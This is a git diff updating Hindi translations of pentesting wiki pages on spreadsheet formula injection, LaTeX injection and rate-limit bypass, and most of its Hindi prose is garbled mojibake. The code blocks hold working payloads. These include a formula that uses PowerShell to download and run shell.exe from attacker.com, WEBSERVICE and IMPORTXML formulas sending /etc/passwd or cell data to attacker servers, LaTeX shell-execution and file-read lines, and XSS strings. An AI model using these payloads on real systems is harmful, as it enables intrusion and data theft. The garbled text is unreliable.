рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреИрд╕реЗ, `=HYPERLINK("","Click here")`)ред - рдпрд╣ рд╕реВрддреНрд░ рдПрдХ рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд░реНрд╡рд░ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред 2. **рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХрд╛ рдирд┐рд░реНрдпрд╛рдд:** - рд╢рд┐рдХреНрд╖рдХ, рд╕рдордЭреМрддреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдирдЬрд╛рди, рдбреЗрдЯрд╛ рдХреЛ CSV рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдирд┐рд░реНрдпрд╛рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред -- CSV рдлрд╝рд╛рдЗрд▓, рдЬрдм рдЦреЛрд▓реА рдЬрд╛рддреА рд╣реИ, рддрдм рднреА рдЗрд╕рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдкреЗрд▓реЛрдб рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рдореЗрдВ рдПрдХ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред +- CSV рдлрд╝рд╛рдЗрд▓, рдЬрдм рдЦреЛрд▓реА рдЬрд╛рддреА рд╣реИ, рддрдм рднреА рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИред рдпрд╣ рдкреЗрд▓реЛрдб рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рдореЗрдВ рдПрдХ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред 3. **рд╣рдорд▓реЗ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛:** - рдПрдХ рд╢рд┐рдХреНрд╖рдХ рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ рдпрд╣ рдЫрд╛рддреНрд░ рдХреЗ рд╡рд┐рд╡рд░рдг рдХрд╛ рдПрдХ рд╡реИрдз рд╣рд┐рд╕реНрд╕рд╛ рд╣реИред - рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░, рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ (рд╕рдВрднрд╡рддрдГ рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рдпрд╛ рд╢рд┐рдХреНрд╖рдХ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рд╡рд┐рд╡рд░рдг рд╢рд╛рдорд┐рд▓) рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред -4. **рдбреЗрдЯрд╛ рд▓реЙрдЧ рдХрд░рдирд╛:** +4. **рдбреЗрдЯрд╛ рдХреЛ рд▓реЙрдЧ рдХрд░рдирд╛:** - рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рд╕рд░реНрд╡рд░ рд╢рд┐рдХреНрд╖рдХ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рднреЗрдЬреЗ рдЧрдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рд▓реЙрдЧ рдХрд░рддрд╛ рд╣реИред -- рд╣рдорд▓рд╛рд╡рд░ рдлрд┐рд░ рдЗрд╕ рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рднрд┐рдиреНрди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЫрд╛рддреНрд░реЛрдВ рдФрд░ рд╕рдВрд╕реНрдерд╛рди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдФрд░ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +- рд╣рдорд▓рд╛рд╡рд░ рдлрд┐рд░ рдЗрд╕ рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рднрд┐рдиреНрди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЫрд╛рддреНрд░реЛрдВ рдФрд░ рд╕рдВрд╕реНрдерд╛рди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдФрд░ рдЕрдзрд┐рдХ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред ### RCE @@ -53,13 +53,13 @@ DDE ("cmd";"/C calc";"!A0")A0 ```markdown =cmd|' /C calc'!xxx ``` -рдЕрддрд┐рд░рд┐рдХреНрдд рдХрдорд╛рдВрдб рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ PowerShell рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛: +рдЕрддрд┐рд░рд┐рдХреНрдд рдХрдорд╛рдВрдб рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ PowerShell рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рдФрд░ рдЙрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛: ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` ### Local File Inclusion (LFI) in LibreOffice Calc -LibreOffice Calc рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдФрд░ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣рд╛рдБ рдХреБрдЫ рд╡рд┐рдзрд┐рдпрд╛рдБ рд╣реИрдВ: +LibreOffice Calc рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдФрд░ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣рд╛рдБ рдХреБрдЫ рддрд░реАрдХреЗ рд╣реИрдВ: - рд╕реНрдерд╛рдиреАрдп `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдкрд╣рд▓реА рдкрдВрдХреНрддрд┐ рдкрдврд╝рдирд╛: `='file:///etc/passwd'#$passwd.A1` - рдкрдврд╝реЗ рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рд╣рдорд▓рд╛рд╡рд░-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдирд╛: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` @@ -68,13 +68,13 @@ LibreOffice Calc рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓реЛ ### Google Sheets for Out-of-Band (OOB) Data Exfiltration -Google Sheets рдРрд╕реА рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ OOB рдбреЗрдЯрд╛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +Google Sheets рдРрд╕реЗ рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ OOB рдбреЗрдЯрд╛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: - **CONCATENATE**: рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рдПрдХ рд╕рд╛рде рдЬреЛрдбрд╝рддрд╛ рд╣реИ - `=CONCATENATE(A2:E2)` - **IMPORTXML**: рд╕рдВрд░рдЪрд┐рдд рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░реЛрдВ рд╕реЗ рдбреЗрдЯрд╛ рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИ - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` - **IMPORTFEED**: RSS рдпрд╛ ATOM рдлрд╝реАрдб рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИ - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` - **IMPORTHTML**: HTML рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдпрд╛ рд╕реВрдЪрд┐рдпреЛрдВ рд╕реЗ рдбреЗрдЯрд╛ рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИ - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` -- **IMPORTRANGE**: рдХрд┐рд╕реА рдЕрдиреНрдп рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рд╕реЗ рд╕реЗрд▓ рдХреА рдПрдХ рд░реЗрдВрдЬ рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИ - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` +- **IMPORTRANGE**: рдХрд┐рд╕реА рдЕрдиреНрдп рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рд╕реЗ рд╕реЗрд▓ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИ - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` - **IMAGE**: рдПрдХ рд╕реЗрд▓ рдореЗрдВ рдПрдХ рдЫрд╡рд┐ рдбрд╛рд▓рддрд╛ рд╣реИ - `=IMAGE("https:///images/srpr/logo3w.png")` ## LaTeX Injection @@ -83,7 +83,7 @@ Google Sheets рдРрд╕реА рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рдпрд╣ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ (рдЕ)рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП 3 рдореБрдЦреНрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ: - **`--no-shell-escape`**: `\write18{command}` рдирд┐рд░реНрдорд╛рдг рдХреЛ **рдЕрдХреНрд╖рдо** рдХрд░реЗрдВ, рднрд▓реЗ рд╣реА рдпрд╣ texmf.cnf рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛред -- **`--shell-restricted`**: `--shell-escape` рдХреЗ рд╕рдорд╛рди, рд▓реЗрдХрд┐рди **рд╕реБрд░рдХреНрд╖рд┐рдд** рд╕реЗрдЯ рдХреЗ **рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд** \*\*рдХрдорд╛рдВрдбреНрд╕ рддрдХ **рд╕реАрдорд┐рдд**ред +- **`--shell-restricted`**: `--shell-escape` рдХреЗ рд╕рдорд╛рди, рд▓реЗрдХрд┐рди **рд╕реБрд░рдХреНрд╖рд┐рдд** рд╕реЗрдЯ рдХреА **рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд** **рдХрдорд╛рдВрдбреНрд╕** рддрдХ **рд╕реАрдорд┐рдд**ред (**Ubuntu 16.04** рдореЗрдВ рд╕реВрдЪреА `/usr/share/texmf/web2c/texmf.cnf` рдореЗрдВ рд╣реИ)ред - **`--shell-escape`**: `\write18{command}` рдирд┐рд░реНрдорд╛рдг рдХреЛ **рд╕рдХреНрд╖рдо** рдХрд░реЗрдВред рдХрдорд╛рдВрдб рдХреЛрдИ рднреА рд╢реЗрд▓ рдХрдорд╛рдВрдб рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдЗрд╕ рдирд┐рд░реНрдорд╛рдг рдХреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА рдЬрд╛рддреА рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП RCE рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП `--shell-restricted` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред @@ -158,9 +158,9 @@ Google Sheets рдРрд╕реА рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ \input|ls|base4 \input{|"/bin/hostname"} ``` -### рдХреНрд░реЙрд╕ рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ +### Cross Site Scripting -From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) +[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) рд╕реЗ ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index 8fcb0a4b7..65eb8050b 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -30,7 +30,7 @@ X-Forwarded-For: 127.0.0.1 ``` ### рдЕрдиреНрдп рд╣реЗрдбрд░ рдмрджрд▓рдирд╛ -рдЕрдиреНрдп рдЕрдиреБрд░реЛрдз рд╣реЗрдбрд░ рдЬреИрд╕реЗ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдПрдЬреЗрдВрдЯ рдФрд░ рдХреБрдХреАрдЬрд╝ рдХреЛ рдмрджрд▓рдирд╛ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрдиреНрд╣реЗрдВ рдЕрдиреБрд░реЛрдз рдкреИрдЯрд░реНрди рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдЯреНрд░реИрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрди рд╣реЗрдбрд░реНрд╕ рдХреЛ рдмрджрд▓рдиреЗ рд╕реЗ рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рдХреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдЯреНрд░реИрдХрд┐рдВрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдорд┐рд▓ рд╕рдХрддреА рд╣реИред +рдЕрдиреНрдп рдЕрдиреБрд░реЛрдз рд╣реЗрдбрд░ рдЬреИрд╕реЗ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдПрдЬреЗрдВрдЯ рдФрд░ рдХреБрдХреАрдЬрд╝ рдХреЛ рдмрджрд▓рдирд╛ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреБрд░реЛрдз рдкреИрдЯрд░реНрди рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдЯреНрд░реИрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрди рд╣реЗрдбрд░реЛрдВ рдХреЛ рдмрджрд▓рдиреЗ рд╕реЗ рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рдХреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдЯреНрд░реИрдХрд┐рдВрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдорд┐рд▓ рд╕рдХрддреА рд╣реИред ### API рдЧреЗрдЯрд╡реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдирд╛ @@ -38,18 +38,22 @@ X-Forwarded-For: 127.0.0.1 ### рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдпрд╛рд╕ рд╕реЗ рдкрд╣рд▓реЗ рдЕрдкрдиреЗ рдЦрд╛рддреЗ рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░рдирд╛ -рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдпрд╛рд╕ рд╕реЗ рдкрд╣рд▓реЗ рдпрд╛ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рд╣рд░ рд╕реЗрдЯ рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рдЦрд╛рддреЗ рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░рдирд╛ рджрд░ рд╕реАрдорд╛ рдХрд╛рдЙрдВрдЯрд░ рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд▓реЙрдЧрд┐рди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рддреЗ рд╕рдордп рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИред Burp Suite рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдореЗрдВ рдПрдХ Pitchfork рд╣рдорд▓реЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╣рд░ рдХреБрдЫ рдкреНрд░рдпрд╛рд╕реЛрдВ рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдШреБрдорд╛рдирд╛ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдХрд┐ рдлреЙрд▓реЛ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдХреЛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рджрд░ рд╕реАрдорд╛ рдХрд╛рдЙрдВрдЯрд░ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдпрд╛рд╕ рд╕реЗ рдкрд╣рд▓реЗ рдпрд╛ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рд╣рд░ рд╕реЗрдЯ рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рдЦрд╛рддреЗ рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░рдирд╛ рджрд░ рд╕реАрдорд╛ рдХрд╛рдЙрдВрдЯрд░ рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд▓реЙрдЧрд┐рди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рддреЗ рд╕рдордп рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИред Burp Suite рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдореЗрдВ рдПрдХ рдкрд┐рдЪрдлреЛрд░реНрдХ рд╣рдорд▓реЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╣рд░ рдХреБрдЫ рдкреНрд░рдпрд╛рд╕реЛрдВ рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдШреБрдорд╛рдирд╛ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдХрд┐ рдлреЙрд▓реЛ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдХреЛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рджрд░ рд╕реАрдорд╛ рдХрд╛рдЙрдВрдЯрд░ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░ рд╕рдХрддрд╛ рд╣реИред ### рдкреНрд░реЙрдХреНрд╕реА рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ -рдХрдИ IP рдкрддреЗ рдХреЗ рдмреАрдЪ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╡рд┐рддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рддреИрдирд╛рдд рдХрд░рдирд╛ IP-рдЖрдзрд╛рд░рд┐рдд рджрд░ рд╕реАрдорд╛рдУрдВ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЙрдХреНрд╕рд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд░реВрдЯ рдХрд░рдХреЗ, рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрд░реЛрдз рдПрдХ рдЕрд▓рдЧ рд╕реНрд░реЛрдд рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрдиреЗ рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рджрд░ рд╕реАрдорд╛ рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХрдо рд╣реЛ рдЬрд╛рддреА рд╣реИред +рдХрдИ IP рдкрддреЗ рдХреЗ рдмреАрдЪ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╡рд┐рддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рддреИрдирд╛рдд рдХрд░рдирд╛ IP-рдЖрдзрд╛рд░рд┐рдд рджрд░ рд╕реАрдорд╛рдУрдВ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЙрдХреНрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд░реВрдЯ рдХрд░рдХреЗ, рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрд░реЛрдз рдПрдХ рдЕрд▓рдЧ рд╕реНрд░реЛрдд рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рджрд░ рд╕реАрдорд╛ рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХрдо рд╣реЛ рдЬрд╛рддреА рд╣реИред ### рд╡рд┐рднрд┐рдиреНрди рдЦрд╛рддреЛрдВ рдпрд╛ рд╕рддреНрд░реЛрдВ рдХреЗ рдмреАрдЪ рд╣рдорд▓реЗ рдХреЛ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдирд╛ рдпрджрд┐ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкреНрд░рддрд┐-рдЦрд╛рддрд╛ рдпрд╛ рдкреНрд░рддрд┐-рд╕рддреНрд░ рдЖрдзрд╛рд░ рдкрд░ рджрд░ рд╕реАрдорд╛рдПрдБ рд▓рд╛рдЧреВ рдХрд░рддреА рд╣реИ, рддреЛ рдХрдИ рдЦрд╛рддреЛрдВ рдпрд╛ рд╕рддреНрд░реЛрдВ рдХреЗ рдмреАрдЪ рд╣рдорд▓реЗ рдпрд╛ рдкрд░реАрдХреНрд╖рдг рдХреЛ рд╡рд┐рддрд░рд┐рдд рдХрд░рдирд╛ рдкрд╣рдЪрд╛рди рд╕реЗ рдмрдЪрдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд▓рд┐рдП рдХрдИ рдкрд╣рдЪрд╛рди рдпрд╛ рд╕рддреНрд░ рдЯреЛрдХрди рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдЕрдиреБрдореЗрдп 